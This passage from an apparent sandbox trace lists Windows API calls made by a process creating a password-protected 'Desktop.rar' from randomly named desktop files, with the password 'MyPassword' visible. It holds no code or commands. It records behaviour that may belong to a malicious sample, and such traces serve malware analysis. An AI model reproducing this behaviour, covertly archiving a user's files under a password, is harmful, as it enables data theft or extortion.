lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x12a45, lpOverlapped=0x0) returned 1 [0067.533] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d917a85, nNumberOfBytesToRead=0xed5bb, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d917a85*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.533] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0067.533] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0067.533] GetFocus () returned 0x102a8 [0067.534] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0067.534] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.534] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.534] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.534] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656f10 [0067.534] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.534] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.534] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a6569c0 [0067.534] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.534] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0067.534] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.534] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.534] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.534] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0067.534] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656c90 [0067.534] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a64a7c0 [0067.535] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.535] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a7c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.537] GetTickCount () returned 0x26c6c [0067.537] GetLastError () returned 0x0 [0067.537] SetLastError (dwErrCode=0x0) [0067.537] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.537] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.537] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.537] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0067.538] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15886663733) returned 1 [0067.538] GetTickCount () returned 0x26c6c [0067.538] GetTickCount () returned 0x26c6c [0067.538] GetTickCount () returned 0x26c6c [0067.538] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0067.538] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0067.538] GetFocus () returned 0x102a8 [0067.538] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0067.538] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0067.538] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0067.538] GetFocus () returned 0x102a8 [0067.539] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0067.539] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.539] ResetEvent (hEvent=0x344) returned 1 [0067.539] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.541] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.541] ResetEvent (hEvent=0x344) returned 1 [0067.541] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.544] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.544] ResetEvent (hEvent=0x344) returned 1 [0067.544] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.546] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.546] GetTickCount () returned 0x26c7b [0067.546] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15887458750) returned 1 [0067.546] GetTickCount () returned 0x26c7b [0067.546] GetTickCount () returned 0x26c7b [0067.546] GetTickCount () returned 0x26c7b [0067.546] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.546] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.546] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.546] ResetEvent (hEvent=0x33c) returned 1 [0067.546] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.547] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.547] ResetEvent (hEvent=0x33c) returned 1 [0067.547] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.548] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.548] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.548] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.548] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x106a6d [0067.548] SetFilePointer (in: hFile=0x32c, lDistanceToMove=102, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x106ad3 [0067.548] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.548] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.548] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.548] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.548] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x12af0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x12af0, lpOverlapped=0x0) returned 1 [0067.549] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.549] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.549] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1075821, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x106a6d [0067.549] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x106a6d [0067.549] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.549] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.549] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a657460 [0067.550] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0067.550] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.550] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef610, Size=0x48) returned 0x1ec0a6577d0 [0067.550] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0067.550] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657460 | out: hHeap=0x1ec0a590000) returned 1 [0067.550] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.550] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.550] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef610 | out: hHeap=0x1ec0a590000) returned 1 [0067.550] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0067.550] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6569c0 [0067.550] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64ac40 [0067.550] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64ac43*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64ac43*, lpNumberOfBytesWritten=0xe414d8140*=0x66, lpOverlapped=0x0) returned 1 [0067.550] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef610 [0067.550] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x66) returned 0x1ec0ddfd980 [0067.550] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.550] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64ac40 | out: hHeap=0x1ec0a590000) returned 1 [0067.550] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1195c3 [0067.550] CloseHandle (hObject=0x350) returned 1 [0067.550] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.550] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.550] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.550] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.550] FindFirstFileW (in: lpFileName="Kd7Nt21v7fSUs0ibbZr.pdf", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.550] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.550] CreateFileW (lpFileName="Kd7Nt21v7fSUs0ibbZr.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\kd7nt21v7fsus0ibbzr.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.551] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.551] GetTickCount () returned 0x26c7b [0067.551] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.551] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.551] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.551] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.551] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="k5qtEIg5teHIWg.png") returned 18 [0067.551] SetWindowTextW (hWnd=0x1028c, lpString="Kd7Nt21v7fSUs0ibbZr.pdf") returned 1 [0067.551] GetTickCount () returned 0x26c7b [0067.551] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.551] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.552] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.552] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.552] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x26)) [0067.552] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.552] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15888054280) returned 1 [0067.552] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x10274, lpOverlapped=0x0) returned 1 [0067.553] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9152b4, nNumberOfBytesToRead=0xefd8c, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9152b4*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.553] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.553] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.553] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0067.553] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.553] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656b50 [0067.553] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.553] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0067.553] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a656f10 [0067.553] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.553] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0067.553] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.553] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.553] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.553] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.553] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a656fb0 [0067.553] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656fb0, Size=0x7a) returned 0x1ec0a64aa00 [0067.553] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0067.553] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.556] GetTickCount () returned 0x26c7b [0067.556] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15888421290) returned 1 [0067.556] GetTickCount () returned 0x26c7b [0067.556] GetTickCount () returned 0x26c7b [0067.556] GetTickCount () returned 0x26c7b [0067.556] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.556] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.556] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.556] ResetEvent (hEvent=0x344) returned 1 [0067.556] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.557] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.557] ResetEvent (hEvent=0x344) returned 1 [0067.557] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.562] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.562] ResetEvent (hEvent=0x344) returned 1 [0067.562] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.564] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.564] GetTickCount () returned 0x26c8b [0067.564] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15889248223) returned 1 [0067.564] GetTickCount () returned 0x26c8b [0067.564] GetTickCount () returned 0x26c8b [0067.564] GetTickCount () returned 0x26c8b [0067.564] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.564] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.564] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.564] ResetEvent (hEvent=0x33c) returned 1 [0067.564] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.565] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.565] ResetEvent (hEvent=0x33c) returned 1 [0067.565] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.565] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.566] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.566] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.566] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1195c3 [0067.566] SetFilePointer (in: hFile=0x32c, lDistanceToMove=107, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x11962e [0067.566] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.566] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.566] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.566] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.566] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x10340, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x10340, lpOverlapped=0x0) returned 1 [0067.567] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.567] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.567] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1152451, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1195c3 [0067.567] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1195c3 [0067.567] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.567] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0067.567] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef640, Size=0x48) returned 0x1ec0a6569c0 [0067.567] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.567] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.567] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a657000 [0067.567] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.567] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.567] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.567] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.567] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0067.567] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.567] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656fb0 [0067.567] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656fb0, Size=0x7a) returned 0x1ec0a649ec0 [0067.567] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649ec3*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649ec3*, lpNumberOfBytesWritten=0xe414d8140*=0x6b, lpOverlapped=0x0) returned 1 [0067.568] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0067.568] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6b) returned 0x1ec0a659ff0 [0067.568] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657000 | out: hHeap=0x1ec0a590000) returned 1 [0067.568] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0067.568] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x12996e [0067.568] CloseHandle (hObject=0x350) returned 1 [0067.568] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.568] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.568] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.568] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.568] FindFirstFileW (in: lpFileName="kVcraZcrAD.png", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.568] FindClose (in: 